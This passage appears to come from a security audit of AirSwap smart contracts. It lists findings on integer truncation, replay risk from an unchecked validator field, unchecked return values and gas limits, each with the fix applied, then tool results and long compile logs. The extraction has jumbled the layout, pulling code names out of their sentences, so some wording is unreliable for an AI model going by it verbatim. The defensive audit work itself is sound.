users during the contract being paused, it may be sensible to add the modifier to ensure it is not doing censorship. Recommendation:killContract() unsetIntentForUser() paused This has been fixed by removing the pausing functionality, , and . Update: unsetIntentForUser() killContract() QSP-3 Integer arithmetic may cause incorrect pricing logic Severity: Medium Risk Resolved Status: File(s) affected: Delegate.sol On L233 and L290, we have the following two conditions that relate sender and signer order amounts: Description: L233 (Equation "A"): •order.sender.param == order.signer.param.mul(10 ** rule.priceExp).div(rule.priceCoef) L290 (Equation "B"): •signerParam = senderParam.mul(rule.priceCoef).div(10 ** rule.priceExp); Due to integer arithmetic truncation issues, these two equations may not relate as expected. Consider the case where: rule.priceExp = 2 •rule.priceCoef = 3 •For Equation B, when senderParam = 90, we obtain due to integer truncation. signerParam = 90 * 3 // 100 = 2 However, when plugging back into Equation A, we obtain (which doesn't equal the expected value of 90`. 2 * 100 // 3 = 66 This means that if the signerParam is calculated by the logic in Equation B, it would not pass the requirement of Equation A. Consider adding checks to ensure that order amounts behave correctly with respect to these two equations. Recommendation: This is fixed as of the latest commit. In particular, the case where the signer invokes , and then the values are plugged into should work as intended. Update:_calculateSenderParam() _calculateSignerParam() QSP-4 success should not be checked by querying token balances transferFrom() Severity: Low Risk Resolved Status: File(s) affected: Swap.sol On L349: is a dangerous equality. Although this will hold for most ERC20 tokens, the specification does not guarantee that the external ERC20 contract will adhere to this condition. For example, the token could mint or burn tokens upon a for various reasons. Description:require(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); transfer() We recommend removing this balance check require-statement (along with the assignment on L343), and instead wrap L346 in a require-statement, as discussed in the separate finding "Return values of ERC20 function calls are not checked". Recommendation:initialBalance QSP-5 does not check that the contract is correct isValid() validator Severity: Low Risk Resolved Status: , File(s) affected: Swap.sol Types.sol While the contract ensures that an is correctly formatted and properly signed in the function, it does not check that the intended contract, as denoted by the field, corresponds to the correct contract. If a sender/signer participates with multiple swap contracts, replay attacks may be possible by re-submitting the order. Description:Swap Order isValid() Swap Order.signature.validator Swap The function should add a check . Recommendation: isValid require(order.signature.validator == address(this)) Related to this, in the EIP712-related hash (L52-57): it may be beneficial to include in order to prevent attacks that uses a signature that was signed in the testnet become valid in the mainnet. Types.DOMAIN_TYPEHASHchainId Fluidity has clarified to us that the field is only used for informational purposes, and the encoding of the , which includes the address, mitigates this issue. Update:order.signature.validator DOMAIN_SEPARATOR Swap QSP-6 Unchecked Return ValueSeverity: Low Risk Resolved Status: , File(s) affected: Wrapper.sol Swap.sol Most functions will return a or value upon success. Some functions, like , are more crucial to check than others. It's important to ensure that every necessary function is checked. Description:true falsesend() On L151 of , the external is not checked for success, which may cause ether transfers to the user to fail. A similar issue exists for the on L127 of , and L340 of . Wrappercall.value() transfer() Wrapper Swap The external result should be checked for success by changing the line to: followed by a check on . Recommendation:call.value() (bool success, ) = msg.sender.call.value(order.signer.param)(""); success Additionally, on L127, the return value of should also be checked. Wrapper.transfer() This has been fixed by adding a check on the external call in . It has also been confirmed that any external calls to the contract, the return value does not need to be checked, as the contract reverts on failure instead of returning false. Update:Wrapper.sol WETH.sol QSP-7 Gas Usage / Loop Concerns forSeverity: Low Risk Acknowledged Status: , File(s) affected: Swap.sol Index.sol Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. For example, if a loop requires too much gas to exit, then it may prevent the contract from functioning correctly entirely. It is best to break such loops into individual functions as possible. Description:for In particular, the function may fail if the array of is too long. Additionally, the function may need to iterate over many entries, which may make susceptible to DOS attacks if the array becomes too long. Swap.cancel()nonces _getEntryLowerThan() setLocator() Although the user could re-invoke the function by breaking the array up across multiple transactions, we recommend adding a comment to the function's description to indicate such potential issues. Recommendation:Swap.cancel() In , it may be beneficial to have an optional parameter (which can be computed offline), rather than always invoking at the cost of extra gas. Index.setLocator()nextEntry _getEntryLowerThan() A comment has been added to as suggested. Gas analysis has been performed on suggesting that gas-related denial-of-service attacks are unlikely, as discussed in Issue . Further, if a staker stakes more tokens, they can increase their rank in the Index and reduce their overall gas costs. Update:Swap.cancel() Index.setLocator() 296 QSP-8 Return values of ERC20 function calls are not checked Severity: Informational Resolved Status: , File(s) affected: Swap.sol INRERC20.sol On L346 of , is expected to return a boolean value indicating success. Although the is used here, the underlying contract is most likely an token, and therefore its return value should be checked for success. Description:Swap.sol ERC20.transferFrom() INRERC20 ERC20 We recommend removing and instead using . The return value of should be checked for success. Recommendation:INERC20 IERC20 transferFrom() This has been fixed through the use of . Update: safeTransferFrom() QSP-9 Unchecked constructor argument Severity: Informational File(s) affected: Swap.sol In the constructor, is passed in but never checked to be non-zero. This may lead to incorrect deployments of . Description: swapRegistry Swap Add a require-statement that checks that . Recommendation: swapRegistry != address(0) Automated Analyses Maian Maian did not report any vulnerabilities. Mythril Mythril did not report any vulnerabilities. Securify Securify reported a few potential "Locked Ether" and "Missing Input Validation" issues, however since the lines associated with these issues were unrelated to the vulnerability types (e.g., comments or contract definitions), they were classified as false positives. Slither Slither reported several issues:1. In, the return value of several external calls is not checked: Wrapper.sol L127: •wethContract.transfer()L144: •wethContract.transferFrom()L151: •msg.sender.call.value(order.signer.param)("");We recommend wrapping the first two calls with , and checking the success of the . require call.value() 1. In, Slither detects that L349: is a dangerous equality, as discussed above. We recommend removing this require-statement. Swap.solrequire(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); 2. In, Slither warns that the ERC20 specification is not strictly adhered, since the boolean return values of and have been removed. We recommend using the IERC20 interface without modification. As a result, we further recommend wrapping the call on L346 of with a require-statement. INERC20.soltransfer() transferFrom() Swap.sol Fluidity has addressed all concerns related to these findings. Update: Adherence to Specification The code adheres to the provided specification. Code Documentation The code is well documented and properly commented. Adherence to Best Practices The code generally adheres to best practices. We note the following minor issues/questions: It is not clear why the files are needed. Can these be removed? • Update: confirmed that these are necessary for testing.Imports.sol Both and could inherit from the standard OpenZeppelin smart contract. •Update: fixed through the removal of pausing functionality.Indexer.sol Wrapper.sol Pausable The view function may incorrectly return true if the low-order 20 bits correspond to a deployed address and any of the higher order 12 bits are non-zero. We recommend returning false if any of these higher-order bits are set to one. •DelegateFactory.has() On L52 of , we have that , as computed by the following expression: . However, this computation does not include all functions in the functions, namely and . It may be better to include these in the hash computation as this would be the more standard interface, and presumably the one that a token would publish to indicate it is ERC20-compliant. •Update: fixed.Delegate.sol ERC20_INTERFACE_ID = 0x277f8169 bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('allowance(address,address)')) ERC20 approve(address, uint256) totalSupply() ERC20 It is not clear how users or the web interface will utilize , however if the user sets too large of values in , it can cause SafeMath to revert when invoking . It may be useful to add when invoking in order to ensure that overflow/underflow will not cause SafeMath to revert. •Delegate.getMaxQuote() setRule() getMaxQuote() require(getMaxQuote(...) > 0) setRule() In , it may be best to check that is either or . With the current setup, the else-branch may accept orders that do not have a correct value. •Update: confirmed as expected behavior to default to ERC20 unless ERC721 is detected.Swap.transferToken() kind ERC721_INTERFACE_ID ERC20_INTERFACE_ID kind On L52 of , it appears that could simply map to a instead of a . • Swap.sol signerNonceStatus bool byte In and these functions may emit an or event, even if the entries already exist in the mapping. It may be better to first check if the corresponding mapping entries already exist in these functions. Similarly, the and functions may emit events, even if the entry did not previously exist in the mapping. •Update: fixed.Swap.authorizeSender() Swap.authorizeSigner() AuthorizeSender AuthorizeSigner revokeSender() revokeSigner() In , consider adding two helper functions for computing price constraints as opposed to duplication on lines L234, L291, L323, L356. •Update: fixed.Delegate.sol In , in the comment on L138, should be . • Update: fixed.Delegate.sol senderToken signerToken The function name is not very clear: invalidate(50) seems like it should invalidate the order with nonce 50, but it only invalidates up to 49. Consider alternative names such as "invalidateBefore". •Update: fixed.Swap.invalidate() It is possible to first then later. This makes it possible to make orders be valid again after they have been canceled in the first place. If this is not an intended behavior, to prevent unexpected consequence, we •Update: confirmed as expected behavior.invalidate(50) invalidate(30) suggest adding a check that thebe larger than . • minimumNonce signerMinimumNonce[msg.sender] Test Results Test Suite Results yarn test yarn run v1.19.2 $ yarn clean && yarn compile && lerna run test --concurrency=1 $ lerna run clean lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run clean" lerna info run Ran npm script 'clean' in '@airswap/tokens' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/transfers' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/types' in 0.2s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/indexer' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/swap' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/deployer' in 0.3s: $ rm -rf ./build && rm -rf ./flatten lerna info run Ran npm script 'clean' in '@airswap/delegate' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/pre-swap-checker' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/wrapper' in 0.3s: $ rm -rf ./build lerna success run Ran npm script 'clean' in 9 packages in 1.3s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker $ lerna run compile lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run compile" lerna info run Ran npm script 'compile' in '@airswap/tokens' in 10.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/AdaptedERC721.sol > Compiling ./contracts/AdaptedKittyERC721.sol > Compiling ./contracts/ERC1155.sol > Compiling ./contracts/FungibleToken.sol > Compiling ./contracts/IERC721Receiver.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/MintableERC1155Token.sol > Compiling ./contracts/NonFungibleToken.sol > Compiling ./contracts/OMGToken.sol > Compiling ./contracts/OrderTest721.sol > Compiling ./contracts/WETH9.sol > Compiling ./contracts/interfaces/IERC1155.sol > Compiling ./contracts/interfaces/IERC1155Receiver.sol > Compiling ./contracts/interfaces/IWETH.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/tokens/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/types' in 10.8s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Types.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol> Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/types/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/transfers' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/TransferHandlerRegistry.sol > Compiling ./contracts/handlers/ERC1155TransferHandler.sol > Compiling ./contracts/handlers/ERC20TransferHandler.sol > Compiling ./contracts/handlers/ERC721TransferHandler.sol > Compiling ./contracts/handlers/KittyCoreTransferHandler.sol > Compiling ./contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling ./contracts/interfaces/ITransferHandler.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/transfers/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/deployer' in 4.3s: $ truffle compile Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. lerna info run Ran npm script 'compile' in '@airswap/indexer' in 13.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Index.sol > Compiling ./contracts/Indexer.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/DelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimentalfeatures on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/indexer/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/swap' in 14.1s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Swap.sol > Compiling ./contracts/interfaces/ISwap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC1155TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC721TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/KittyCoreTransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/swap/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/pre-swap-checker' in 11.7s: $ truffle compile Compiling your contracts...=========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/PreSwapChecker.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/contracts/PreSwapChecker.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/delegate' in 13.0s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Delegate.sol > Compiling ./contracts/DelegateFactory.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IDelegate.sol > Compiling ./contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/Delegate.sol:18:1: Warning: Experimentalfeatures are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/delegate/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/wrapper' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/HelperMock.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Wrapper.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/WETH9.sol > Compiling @airswap/tokens/contracts/interfaces/IWETH.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ 